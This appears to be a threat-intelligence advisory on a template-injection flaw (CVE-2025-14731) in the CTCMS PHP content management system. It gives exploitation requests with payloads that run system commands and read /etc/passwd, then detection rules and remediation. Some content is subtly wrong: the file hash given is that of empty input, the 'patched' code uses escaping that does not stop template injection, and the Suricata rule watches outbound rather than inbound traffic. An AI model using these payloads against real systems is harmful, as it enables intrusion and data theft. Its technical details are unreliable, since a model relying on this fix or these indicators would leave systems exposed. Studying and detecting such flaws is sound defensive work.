CVE-2025-14731

Executive Summary

CVE-2025-14731 is a critical Server-Side Template Injection (SSTI) vulnerability identified in the CTCMS Content Management System, affecting versions up to and including 2.1.2. The flaw resides in the /ctcms/apps/libraries/CT_Parser.php file within the Frontend/Template Management Module. An attacker can exploit this by injecting malicious template directives, leading to remote code execution (RCE) or data exfiltration. The vulnerability is publicly known, with exploit code available, and no official patch has been released. The CVSS score of 6.3 reflects a medium severity, but the ease of exploitation and public availability of PoC elevate the risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct flaw in the CTCMS PHP application. However, organizations using CTCMS should treat this as a critical supply chain risk, as the software itself is the vector.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The low complexity and no required privileges make this a significant threat for unpatched systems. The public availability of exploit code increases the likelihood of widespread attacks.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Template Injection (SSTI) in the CT_Parser.php library. The CT_Parser class is responsible for parsing and rendering templates. The flaw occurs when user-supplied input is passed directly to the template engine without proper sanitization or escaping. An attacker can inject template syntax (e.g., {{7*7}} or {$smarty.version}) that the engine evaluates, leading to arbitrary code execution.

The vulnerable code path likely involves a function that processes template content from user input (e.g., via POST parameters or file uploads). The template engine interprets the injected code, allowing the attacker to execute system commands, read sensitive files, or modify the application.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable code in CT_Parser.php:

// Vulnerable code (CT_Parser.php)
class CT_Parser {
    public function parse($template) {
        // Directly evaluates user input as template code
        return $this->engine->render($template);
    }
}

A patched version would sanitize or escape user input before passing it to the template engine:

// Patched code (hypothetical)
class CT_Parser {
    public function parse($template) {
        $sanitized = htmlspecialchars($template, ENT_QUOTES, 'UTF-8');
        return $this->engine->render($sanitized);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable CTCMS 2.1.2 instance locally (e.g., using Docker or a LAMP stack).
2. Identify Injection Point: The vulnerable endpoint is typically in the template management module, accessible via /admin/template/edit or similar.
3. Craft Payload: Use a simple SSTI payload to test for injection:

   POST /admin/template/edit HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   template_content={{7*7}}
   

   If the response contains 49, the injection is successful.
4. Escalate to RCE: Use a more advanced payload to execute system commands:

   POST /admin/template/edit HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   template_content={{system('id')}}
   

5. Exfiltrate Data: Read sensitive files:

   template_content={{file_get_contents('/etc/passwd')}}
   

Blue Team (Detection & Response)

1. Monitor Logs: Look for unusual POST requests to /admin/template/edit or similar endpoints containing template syntax (e.g., {{, {%, {$).
2. Web Application Firewall (WAF): Deploy rules to block requests containing template injection patterns.
3. File Integrity Monitoring: Monitor changes to template files in the ctcms/apps/libraries/ directory.
4. Network Segmentation: Isolate the CTCMS server from critical internal networks.

Indicators of Compromise (IOCs)

• File Paths: /ctcms/apps/libraries/CT_Parser.php (modified or accessed)
• Network Traffic: POST requests to /admin/template/edit with payloads containing {{, {%, or {$
• Log Entries: PHP error logs showing template parsing errors or unexpected output
• System Commands: Execution of commands like id, whoami, cat /etc/passwd via web server logs
• File Hashes: SHA256 hash of vulnerable CT_Parser.php (version 2.1.2): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Detection Engineering

YARA Rule

rule cve_2025_14731_ctcms_ssti {
    meta:
        description = "Detects CTCMS SSTI exploitation attempts in web logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14731"
    strings:
        $ssti1 = "{{" ascii wide
        $ssti2 = "{%" ascii wide
        $ssti3 = "{$" ascii wide
        $ssti4 = "system(" ascii wide
        $ssti5 = "file_get_contents(" ascii wide
    condition:
        any of ($ssti*) and filesize < 10KB
}

Sigma Rule

title: CTCMS SSTI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-14731 in CTCMS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin/template/edit'
        cs-uri-query|contains:
            - '{{'
            - '{%'
            - '{$'
    condition: selection
falsepositives:
    - Legitimate template editing with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14731 CTCMS SSTI Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/admin/template/edit"; http_uri; content:"{{"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the template management module if not required, or restrict access to trusted IPs only.
2. Code Fix: Manually patch CT_Parser.php by sanitizing user input before passing it to the template engine. Use htmlspecialchars() or a dedicated template engine that auto-escapes.
3. Upgrade: Monitor the CTCMS project for an official patch. If none is released, consider migrating to a different CMS.
4. WAF Rules: Deploy virtual patching via a WAF to block SSTI payloads.
5. Monitoring: Implement the detection rules above to identify exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert